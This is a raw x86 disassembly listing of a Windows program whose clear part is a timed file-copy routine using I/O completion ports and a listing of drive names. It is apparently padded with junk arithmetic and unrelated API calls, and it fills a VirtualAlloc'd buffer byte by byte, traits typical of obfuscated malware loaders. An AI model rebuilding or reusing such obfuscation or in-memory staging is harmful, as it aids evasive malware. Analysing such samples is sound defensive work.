mov edx, dword [0x44e504]
cmp eax, dword [0x44e0d0]
mov eax, ecx
jl 0x41e900
add eax, esi
mov dword [ebp - 0x30], eax
jmp 0x41e912
movzx eax, al
imul eax, edx
add eax, dword [0x44e674]
sub dword [0x44e0bc], eax
movzx ecx, word [0x44e0d4]
mov eax, 0x88888889
mov edi, dword [0x44b428]
imul ecx, edx
imul ecx
mov eax, dword [0x44e1e0]
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
add edi, eax
lea eax, [ebp - 0x8c]
mov dword [0x44b428], edi
imul edi, dword [0x44e1dc]
push eax
push 0x18
push esi
add edi, 9
imul edi, esi
add edi, 0x2d000
call dword [sym.imp.GDI32.dll_GetObjectA]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
push 0x44e0b8
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 1
call fcn.00422e40
push 0x44e3f8
lea ecx, [ebp - 0x58]
call fcn.00422e40
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x28]
push ecx
push 1
push eax
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x58]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x28], 5
push eax
call fcn.00422010
sub dword [ebp - 0x54], 4
lea eax, [ebp - 0x1c]
push eax
push dword [0x44e1e0]
mov dword [ebp - 0x1c], 0
call sub.gdiplus.dll_GdipCreateFromHDC
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x74], eax
push 2
push eax
mov byte [ebp - 4], 2
call sub.gdiplus.dll_GdipSetSmoothingMode
test eax, eax
lea ecx, [ebp - 0x44]
cmovne esi, eax
mov eax, dword [0x44e1e8]
inc eax
mov dword [ebp - 0x70], esi
push eax
call fcn.0041cc00
mov ecx, dword [0x44e1e8]
xor esi, esi
lea eax, [ecx + 1]
test eax, eax
jle 0x41ea2b
push dword [0x44e0cc]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ecx, dword [0x44e1e8]
inc esi
lea eax, [ecx + 1]
cmp esi, eax
jl 0x41ea11
movzx eax, cl
push eax
movzx eax, cl
push eax
movzx eax, cl
push eax
mov al, cl
lea ecx, [ebp - 0x28]
neg al
movzx eax, al
push eax
call fcn.0041cca0
movd xmm0, dword [0x44e1e8]
lea eax, [ebp - 0x38]
push eax
cvtdq2ps xmm0, xmm0
push 0
push ecx
mov dword [ebp - 0x38], 0
movss dword [esp], xmm0
push dword [ebp - 0x28]
call sub.gdiplus.dll_GdipCreatePen1
mov dword [ebp - 0x34], eax
cmp dword [0x44e0c4], 0
mov byte [ebp - 4], 4
mov dword [0x44e508], 0x30
je 0x41eac5
mov esi, dword [0x44e0cc]
test esi, esi
je 0x41eac5
mov ecx, dword [0x44e0c8]
mov eax, dword [0x44e1e0]
push ecx
push eax
push ecx
push eax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x74]
call fcn.0041d030
push dword [0x44e0c4]
push 0xffffffffffffffeb
push esi
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov esi, dword [ebp - 0x74]
mov dword [0x44e504], eax
jmp 0x41eb19
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 0x43ce40
push 1
push 0
push 0x43ce50
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x41eaf7
xor ecx, ecx
mov dword [ebp - 0x14], ecx
jmp 0x41eb10
push dword [ebp - 0x10]
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [0x44e504], eax
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
mov esi, dword [ebp - 0x1c]
movd xmm0, dword [ebp - 0xb4]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.004275d0
mov ecx, dword [0x44e1ec]
mov eax, 0x6bca1af3
imul dword [0x44e504]
imul ecx, dword [0x44e0d0]
add esp, 4
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
add eax, dword [0x44e0c4]
movd xmm0, eax
mov eax, dword [ebp - 0x30]
cvtdq2pd xmm0, xmm0
movzx eax, al
movsd qword [ebp - 0x64], xmm0
fadd qword [ebp - 0x64]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x64], xmm0
movd xmm0, dword [0x44e0b8]
fadd qword [ebp - 0x64]
cvtdq2ps xmm0, xmm0
fstp qword [ebp - 0x64]
movss dword [esp], xmm0
call fcn.00422730
movzx eax, word [0x44e1e8]
add esp, 4
fadd qword [ebp - 0x64]
push dword [ebp - 0x38]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x64], xmm0
fsub qword [ebp - 0x64]
fstp qword [ebp - 0x64]
cvttsd2si eax, qword [ebp - 0x64]
mov dword [0x44e0bc], eax
call sub.gdiplus.dll_GdipDeletePen
lea ecx, [ebp - 0x44]
call fcn.00422470
push esi
call sub.gdiplus.dll_GdipDeleteGraphics
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.0041cd60
mov eax, dword [0x44e1e8]
xorps xmm0, xmm0
mov edi, dword [sym.imp.KERNEL32.DLL_GetLastError]
inc eax
mov dword [ebp - 0x18], 0
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x10], 0
test eax, eax
jle 0x41ed10
mov edx, dword [ebp - 0x34]
lea esi, [ebp - 0xe48]
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x24], ecx
test edx, edx
ja 0x41ed1c
jb 0x41ec3a
test ecx, ecx
jae 0x41ed1c
cmp dword [0x44e1e8], 0
jne 0x41ec55
cmp dword [0x44e664], 0
jne 0x41ec55
cmp dword [0x44e1e0], 0
jne 0x41ec5f
cmp dword [esi + 8], 0
je 0x41ed03
lea eax, [esi - 0xc]
mov dword [esi - 4], ecx
push eax
lea eax, [ebp - 0x14]
mov dword [esi], edx
push eax
push 0x104
push dword [esi + 8]
mov dword [esi + 4], 0
push 0x44e400
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x41ecc2
call edi
cmp eax, 0x3e5
je 0x41ecc2
mov eax, dword [0x44e1e8]
test eax, eax
jne 0x41ecdf
cmp dword [0x44e664], eax
jne 0x41ecdf
cmp dword [0x44e1e0], eax
je 0x41ecdf
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
add ecx, 0x10
mov dword [ebp - 0x24], ecx
adc edx, eax
inc dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
jmp 0x41eccd
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x44e1e8]
inc dword [ebp - 0x10]
inc eax
add esi, 0x18
cmp dword [ebp - 0x10], eax
jl 0x41ec28
jmp 0x41ed1c
call edi
push eax
mov eax, dword [ebp - 0x24]
push eax
push str.ReadFile_at__lx_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0x10
push 1
call fcn.00426ed3
call edi
push eax
push dword [ebp - 0x10]
push str.VirtualAlloc__d_failed__error__d_n
jmp 0x41eceb
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov eax, 0x40
sub eax, dword [0x44e0c4]
cmp dword [ebp - 0x18], 0
mov dword [ebp - 0x48], eax
je 0x41edf9
push 0xffffffffffffffff
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetQueuedCompletionStatus]
test eax, eax
je 0x41ef79
mov eax, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x28]
cmp eax, dword [ebp + 8]
jne 0x41ed9b
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
dec ecx
add eax, 0x3f
not ecx
and ecx, eax
lea eax, [ebp - 0x14]
push esi
push eax
push ecx
mov dword [ebp - 0x14], ecx
push dword [esi + 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x41ed92
call edi
cmp eax, 0x3e5
jne 0x41ef5e
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
jmp 0x41edf1
test eax, eax
jne 0x41edee
mov eax, dword [ebp - 0x1c]
test eax, eax
ja 0x41ed92
mov ecx, dword [ebp - 0x24]
jb 0x41edaf
test ecx, ecx
jae 0x41ed92
mov dword [esi + 0xc], eax
mov eax, 0x40
mov dword [esi + 8], ecx
sub eax, dword [0x44e664]
cdq
add ecx, eax
lea eax, [ebp - 0x14]
push esi
adc dword [ebp - 0x1c], edx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x24], ecx
push dword [esi + 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x41edee
call edi
cmp eax, 0x3e5
jne 0x41ef6e
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41ed34
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x38]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_FileTimeToLocalFileTime]
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.DLL_FileTimeToSystemTime]
movzx eax, word [ebp - 0x52]
push eax
movzx eax, word [ebp - 0x54]
push eax
movzx eax, word [ebp - 0x5c]
push eax
movzx eax, word [ebp - 0x56]
push eax
movzx eax, word [ebp - 0x5a]
push eax
push str._.2d__.2d__.4d__.2d:_.2d
call fcn.00427b7a
add esp, 0x18
lea eax, [ebp - 0x344]
push 0x104
push eax
push 0x44e400
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeMountPointA]
mov esi, eax
xor ecx, ecx
push 0x104
lea eax, [ebp - 0x344]
cmp esi, 0xffffffff
push eax
sete cl
push esi
mov dword [0x44e0b8], ecx
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeMountPointA]
test eax, eax
je 0x41eea3
push 0x104
lea eax, [ebp - 0x344]
mov dword [0x44e0b8], 2
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeMountPointA]
test eax, eax
jne 0x41ee82
push esi
call dword [sym.imp.KERNEL32.DLL_FindVolumeMountPointClose]
cmp dword [0x44e1e8], 0
jne 0x41eec9
cmp dword [0x44e664], 0
jne 0x41eec9
cmp dword [0x44e1e0], 0
jne 0x41f2d2
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x1d4], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
je 0x41eeed
cmp dword [ebp - 0x1c4], 2
je 0x41ef14
cmp dword [0x44e1e8], 0
jne 0x420941
cmp dword [0x44e664], 0
jne 0x420941
cmp dword [0x44e1e0], 0
je 0x420941
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov esi, dword [ebp - 0x94]
push 0
push 0x60000000
push 3
push 0
push 1
push SysReAllocStringLen
push 0x44e400
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x41efb6
call edi
push eax
push 0x44e400
push str.failed_to_open__s__error__d_n
jmp 0x41eceb
call edi
push eax
push dword [esi + 8]
push str.WriteFile_at__lx_failed__error__d_n
jmp 0x41eceb
call edi
push eax
push dword [esi + 8]
jmp 0x41ece6
cmp dword [0x44e1e8], 0
jne 0x41ef98
cmp dword [0x44e664], 0
jne 0x41ef98
cmp dword [0x44e1e0], 0
jne 0x41ecfc
call edi
push eax
push str.GetQueuedCompletionStatus_on_the_IoPort_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
lea ecx, [ebp - 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x40], eax
cmp eax, 0xffffffff
jne 0x41f008
call edi
test eax, eax
je 0x41f008
cmp dword [0x44e1e8], 0
jne 0x41efea
cmp dword [0x44e664], 0
jne 0x41efea
cmp dword [0x44e1e0], 0
jne 0x41f008
call edi
push eax
push str.GetFileSize_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
push dword [ebp - 0x10]
push 0x60000000
push 2
push 0
push 3
push SysReAllocStringLen
push 0x44e400
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x41f05b
cmp dword [0x44e1e8], 0
jne 0x41f049
cmp dword [0x44e664], 0
jne 0x41f049
cmp dword [0x44e1e0], 0
jne 0x41f05b
call edi
push eax
push 0x44e400
push str.failed_to_open__s__error__d_n
jmp 0x41eceb
xor eax, eax
lea edx, [esi - 1]
xor ecx, ecx
not edx
add esi, dword [ebp - 0x40]
push 0
adc eax, dword [ebp - 0x3c]
add esi, 0xffffffff
adc eax, 0xffffffff
and edx, esi
mov esi, dword [ebp - 0x14]
and ecx, eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x64], edx
push eax
push edx
push esi
mov dword [ebp - 0x60], ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41f0cf
call edi
test eax, eax
je 0x41f0cf
cmp dword [0x44e1e8], 0
jne 0x41f0b1
cmp dword [0x44e664], 0
jne 0x41f0b1
cmp dword [0x44e1e0], 0
jne 0x41f0cf
call edi
push eax
push str.initial_SetFilePointer_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
push esi
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
jne 0x41f110
cmp dword [0x44e1e8], eax
jne 0x41f0f2
cmp dword [0x44e664], eax
jne 0x41f0f2
cmp dword [0x44e1e0], eax
jne 0x41f110
call edi
push eax
push str.SetEndOfFile_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
cmp dword [ebp - 0x1d0], 3
jne 0x41f134
cmp dword [ebp - 0x1cc], 0x32
jne 0x41f134
push 4
push dword [ebp + 8]
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
jmp 0x41f176
mov esi, dword [ebp + 8]
push 4
push esi
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
push 4
push esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
test eax, eax
jne 0x41f173
call edi
push eax
push str.failed_to_create_IoPort__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
mov esi, dword [ebp - 0x14]
push 4
push dword [ebp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
test eax, eax
jne 0x41f1a5
call edi
push eax
push str.failed_to_create_WritePort__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
mov dword [ebp - 0x28], eax
call esi
push dword [ebp - 0x10]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0
push 3
push 0
push 3
push 0x40000000
push 0x44e400
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x30], eax
cmp eax, 0xffffffff
jne 0x41f1fa
call edi
push eax
push 0x44e400
push str.failed_to_open_buffered_handle_to__s__error__d_n
jmp 0x41eceb
push 0
lea ecx, [ebp - 0x3c]
push ecx
push dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
jne 0x41f233
call edi
test eax, eax
je 0x41f233
call edi
push eax
push str.final_SetFilePointer_failed__error__d_n
call fcn.0042778b
add eax, 0x40
push eax
call fcn.00427a53
add esp, 0xc
jmp 0x41ecfc
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
je 0x41f0f2
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
sub esi, dword [ebp - 0x28]
sub esp, 8
movsd xmm1, qword [0x43cdd8]
movsd qword [ebp - 0x38], xmm1
movd xmm0, esi
cvtdq2pd xmm0, xmm0
shr esi, 0x1f
addsd xmm0, qword [esi*8 + 0x43cde0]
cvtpd2ps xmm0, xmm0
movss dword [ebp - 0x28], xmm0
cvtps2pd xmm0, xmm0
divsd xmm0, xmm1
movsd qword [esp], xmm0
push dword [ebp - 0x40]
push str._d_bytes_copied_in__.3f_seconds_n
call fcn.00427b7a
mov edx, dword [ebp - 0x3c]
add esp, 0x10
mov ecx, dword [ebp - 0x40]
call fcn.0042825f
movss xmm1, dword [ebp - 0x28]
sub esp, 8
cvtps2pd xmm1, xmm1
mulsd xmm0, qword [0x43cdd0]
divsd xmm1, qword [ebp - 0x38]
divsd xmm0, xmm1
movsd qword [esp], xmm0
push str._.2f_MB_sec_n
call fcn.00427b7a
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsA]
push 0
push 0
call edi
mov esi, eax
push esi
call fcn.0042352a
add esp, 4
mov dword [ebp - 0x30], eax
push eax
push esi
call edi
mov edi, dword [ebp - 0x30]
mov esi, edi
push str.Dos_drive_names:
call fcn.00427b7a
push edi
call fcn.00425000
mov edi, eax
add esp, 8
test edi, edi
je 0x41f35f
mov edi, edi
push 0x104
lea eax, [ebp - 0x344]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetVolumeNameForVolumeMountPointA]
test eax, eax
je 0x41f34d
lea eax, [ebp - 0x344]
push eax
push 0x44e510
call fcn.00427c3f
add esp, 8
test eax, eax
jne 0x41f34d
push esi
push 0x43ccbc
call fcn.00427b7a
add esp, 8
inc edi
add esi, edi
push esi
call fcn.00425000
mov edi, eax
add esp, 4
test edi, edi
jne 0x41f310
push 0x43c07c
call fcn.00427b7a
mov eax, dword [ebp - 0x30]
add esp, 4
test eax, eax
je 0x41f37c
push eax
call fcn.004232c8
add esp, 4
mov eax, dword [0x44e0c8]
sub eax, dword [0x44e1e0]
add eax, dword [0x44e1dc]
add dword [0x44e6b0], eax
mov eax, 0x2e8ba2e9
mov ecx, dword [0x44e1ec]
imul ecx, dword [0x44e6b4]
movzx esi, word [0x44e504]
neg esi
mov edi, dword [0x44e68c]
imul ecx
mov ecx, dword [0x44e664]
sar edx, 1
add ecx, 0x5d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
movzx eax, word [0x44e674]
sub esi, eax
mov eax, dword [0x44e6b4]
cdq
idiv ecx
mov edx, dword [0x44b428]
mov ecx, edx
imul eax, dword [0x44e6cc]
sub esi, dword [0x44e6c4]
mov dword [0x44e6c0], esi
imul eax, dword [0x44e0d4]
sub ecx, eax
add dword [0x44e6a4], ecx
mov ecx, dword [0x44e1e8]
test dl, dl
je 0x41f42a
mov ecx, dword [0x44e664]
mov eax, edx
cdq
lea ecx, [ecx + 0x53]
idiv ecx
imul eax, esi
add eax, edi
sub dword [0x44e694], eax
jmp 0x41f463
add ecx, 0x58
mov eax, 0x44e1f0
cdq
idiv ecx
mov ecx, dword [0x44e0c4]
mov esi, eax
add ecx, 0x3a
mov eax, dword [0x44e688]
cdq
idiv ecx
imul esi, dword [0x44e0cc]
add esi, eax
sub esi, dword [0x44e6b4]
add esi, dword [0x44e0b8]
mov dword [0x44e6c0], esi
mov eax, dword [0x44e1e8]
sub eax, dword [0x44e0bc]
add eax, dword [0x44e1e4]
mov ecx, dword [0x44e6cc]
add ecx, dword [0x44e6c4]
mov dword [0x44e0b8], eax
mov eax, dword [0x44e0d4]
movzx eax, ax
cmp ecx, eax
jl 0x41f4aa
imul edi, dword [0x44e400]
mov ecx, 0x44e1f0
movzx eax, cx
sub edi, eax
add esi, edi
mov dword [0x44e6c0], esi
lea ecx, [ebp - 0x38]
call fcn.0041cb90
lea eax, [ebp - 0x64]
mov dword [ebp - 4], 5
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x64], 0x3c
push eax
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x60], 5
call fcn.0041cb50
mov eax, dword [0x44e504]
lea ecx, [ebp - 0x38]
mov dword [0x44e50c], eax
mov ax, word [0x44e0cc]
mov word [ebp - 0x60], ax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x64], 0
push eax
call fcn.0041cb50
mov eax, dword [0x44b428]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x64], 1
push eax
call fcn.0041cb50
mov edi, dword [0x44e1e8]
mov ecx, edi
imul ecx, dword [0x44e0bc]
mov eax, dword [0x44e1e0]
imul ecx, dword [0x44e1e4]
lea eax, [eax + eax*2]
add eax, 2
add ecx, dword [0x44e1ec]
add eax, ecx
mov ecx, dword [0x44e664]
mov dword [ebp - 0x30], eax
mov eax, dword [0x44e0c4]
cdq
lea ecx, [ecx + 0x5f]
idiv ecx
mov ecx, dword [0x44e0c8]
imul eax, dword [0x44e0d0]
add ecx, 0x42
cdq
idiv ecx
lea ecx, [edi + 0x60]
mov esi, eax
or eax, 0xffffffff
cdq
idiv ecx
imul eax, dword [0x44e0cc]
sub eax, esi
mov esi, dword [ebp - 0x30]
add dword [0x44e0bc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
test esi, esi
jle 0x41f62a
mov edi, dword [sym.imp.ole32.dll_StgCreateDocfile]
cmp dword [0x44e664], 0
je 0x41f5b2
add al, byte [0x44e1e0]
jmp 0x41f5b8
mov al, byte [eax + section..text_1]
movd xmm0, dword [0x44e0c4]
sub esp, 8
cvtdq2pd xmm0, xmm0
mov byte [ebp - 0x15], al
movsd qword [esp], xmm0
call fcn.00427170
movd xmm0, dword [0x44e0c8]
add esp, 4
cvtdq2ps xmm0, xmm0
fstp st(0)
movss dword [esp], xmm0
call fcn.00422c10
add esp, 4
fstp st(0)
cmp dword [0x44e1e8], 0
jne 0x41f60c
mov eax, dword [0x44e50c]
mov ecx, dword [ebp - 0x10]
mov dl, byte [ebp - 0x15]
mov byte [ecx + eax], dl
jmp 0x41f61b
lea eax, [ebp - 0x3c]
push eax
push 0
push 0x10002
push 0
call edi
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, esi
jl 0x41f5a1
mov edi, dword [0x44e0c4]
add edi, 0x3b
je 0x41f686
push 0
call sub.ODBC32.dll_SQLDisconnect
mov ecx, dword [0x44e664]
mov eax, dword [0x44e1e4]
cdq
lea ecx, [ecx + 0x3d]
idiv ecx
mov esi, eax
mov eax, 0x2e8ba2e9
imul dword [0x44e1ec]
mov eax, dword [0x44e1e0]
imul eax, dword [0x44e0c8]
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
sub ecx, eax
add ecx, dword [0x44e0b8]
mov dword [0x44e0d4], ecx
dec edi
jne 0x41f635
mov esi, dword [ebp - 0x30]
mov eax, dword [0x44e1ec]
add eax, 0xc6
push eax
push esi
push dword [0x44e50c]
call fcn.0041ce20
mov eax, dword [0x44e50c]
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 1], ecx
lea ecx, [ebp - 0x38]
call fcn.0041cd20
mov esi, dword [0x44e1e8]
mov ecx, dword [0x44e6b0]
lea eax, [esi + ecx]
test eax, eax
je 0x41f6d9
mov eax, dword [0x44e0cc]
sub eax, esi
add eax, ecx
add dword [0x44e6c0], eax
cmp dword [0x44e6b4], 0
jne 0x41f6f8
mov eax, dword [0x44e1ec]
lea ecx, [esi + 0x3b]
cdq
idiv ecx
add eax, dword [0x44e0bc]
mov dword [0x44e6b0], eax
mov eax, dword [ebp + 8]
push 0xff
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x443]
push 0
push eax
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x444], 0
call fcn.00423310
xor eax, eax
mov dword [ebp - 0xb0], 0
push 0x206
push eax
xorps xmm0, xmm0
mov word [ebp - 0x854], ax
lea eax, [ebp - 0x852]
movq qword [ebp - 0xb8], xmm0
push eax
movdqu xmmword [ebp - 0xf8], xmm0
movdqu xmmword [ebp - 0x5c], xmm0
call fcn.00423310
add esp, 0x18
mov dword [ebp - 0x24], 0
mov edi, 0x2b
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov edi, edi
push 0
push 0x16
push 0xc
push esi
call dword [sym.imp.GDI32.dll_MoveToEx]
mov ecx, dword [0x44e664]
mov esi, dword [0x44e1e8]
mov eax, dword [0x44e0b8]
imul ecx, esi
dec eax
sub ecx, 0x44e400
add eax, ecx
mov dword [0x44e0b8], eax
dec edi
jne 0x41f790
mov edi, dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 0x38]
push eax
call edi
push 0x43ccc0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventA]
movzx ecx, byte [ebp - 0xb0]
movzx esi, byte [0x44e504]
sub esi, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x44e1dc]
add esi, dword [0x44e3f8]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
push ecx
addsd xmm0, qword [ecx*8 + 0x43cde0]
cvtpd2ps xmm0, xmm0
movss dword [esp], xmm0
call fcn.004227b0
movd xmm0, dword [ebp - 0xec]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
add esp, 4
cvtdq2ps xmm0, xmm0
fstp dword [ebp - 0x28]
movss xmm1, dword [ebp - 0x28]
mulss xmm1, xmm0
movd xmm0, eax
shr eax, 0x1f
cvtdq2pd xmm0, xmm0
movd xmm2, esi
addsd xmm0, qword [eax*8 + 0x43cde0]
cvtdq2ps xmm2, xmm2
cvtpd2ps xmm0, xmm0
subss xmm2, xmm1
subss xmm2, xmm0
cvttss2si eax, xmm2
mov dword [ebp - 0x48], eax
mov eax, dword [0x44e0c4]
imul eax, dword [0x44e1dc]
sub ecx, eax
mov eax, dword [ebp - 0xf0]
add eax, ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x4c], eax
call fcn.0041cbb0
mov al, byte [0x44e0c4]
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x15], al
lea eax, [ebp - 0x15]
push eax
mov dword [ebp - 4], 6
call fcn.00422db0
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x88]
mov byte [ebp - 0x15], al
lea eax, [ebp - 0x15]
push eax
call fcn.00422db0
lea eax, [ebp - 0x15]
mov byte [ebp - 0x15], 0
push eax
lea ecx, [ebp - 0x88]
call fcn.00422db0
mov esi, dword [0x44e0c4]
mov eax, 0x5397829d
imul esi
lea eax, [ebp - 0x854]
sar edx, 4
mov ecx, edx
movzx eax, ax
shr ecx, 0x1f
add ecx, edx
add ecx, eax
movzx eax, word [0x44e1e4]
lea eax, [ebp + eax - 0x444]
add eax, ecx
dec dword [ebp - 0x78]
mov dword [0x44e0bc], eax
jne 0x41f91e
mov dword [ebp - 0x7c], 0
jmp 0x41f921
inc dword [ebp - 0x7c]
mov eax, dword [ebp - 0xf8]
xorps xmm0, xmm0
movzx eax, al
mov dword [ebp - 0x30], 0
mov word [ebp - 0x16], ax
movsd qword [ebp - 0x64], xmm0
lea ecx, [ecx]
mov eax, dword [0x44e664]
neg eax
cmp eax, dword [0x44e0d0]
ja 0x41f95d
movzx eax, byte [0x44e0cc]
mov dword [0x44e0b8], eax
jmp 0x41f985
mov eax, 0x51eb851f
imul dword [0x44e0d4]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, dword [0x44e1ec]
sub eax, dword [0x44e504]
add eax, esi
mov dword [0x44e3f8], eax
lea eax, [ebp - 0x74]
push eax
call edi
mov edx, dword [0x44e504]
test edx, edx
je 0x41f9c2
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
mov ecx, dword [0x44e0d0]
imul ecx, dword [0x44e0bc]
mov edi, dword [0x44e0c4]
add eax, dword [0x44e3f8]
add ecx, eax
mov dword [0x44e3f8], ecx
jmp 0x41fa4c
push ecx
mov dword [esp], 0
call fcn.004224c0
mov ecx, dword [0x44e0c8]
add esp, 4
mov edi, dword [0x44e0c4]
mov eax, edi
cdq
movd xmm0, dword [0x44e0b8]
lea ecx, [ecx + 0x3d]
idiv ecx
mov edx, dword [0x44e504]
cvtdq2ps xmm0, xmm0
mov ecx, dword [0x44e3f8]
fstp dword [ebp - 0x28]
movss xmm1, dword [ebp - 0x28]
addss xmm1, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movzx eax, dl
imul eax, dword [0x44e0cc]
addss xmm1, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
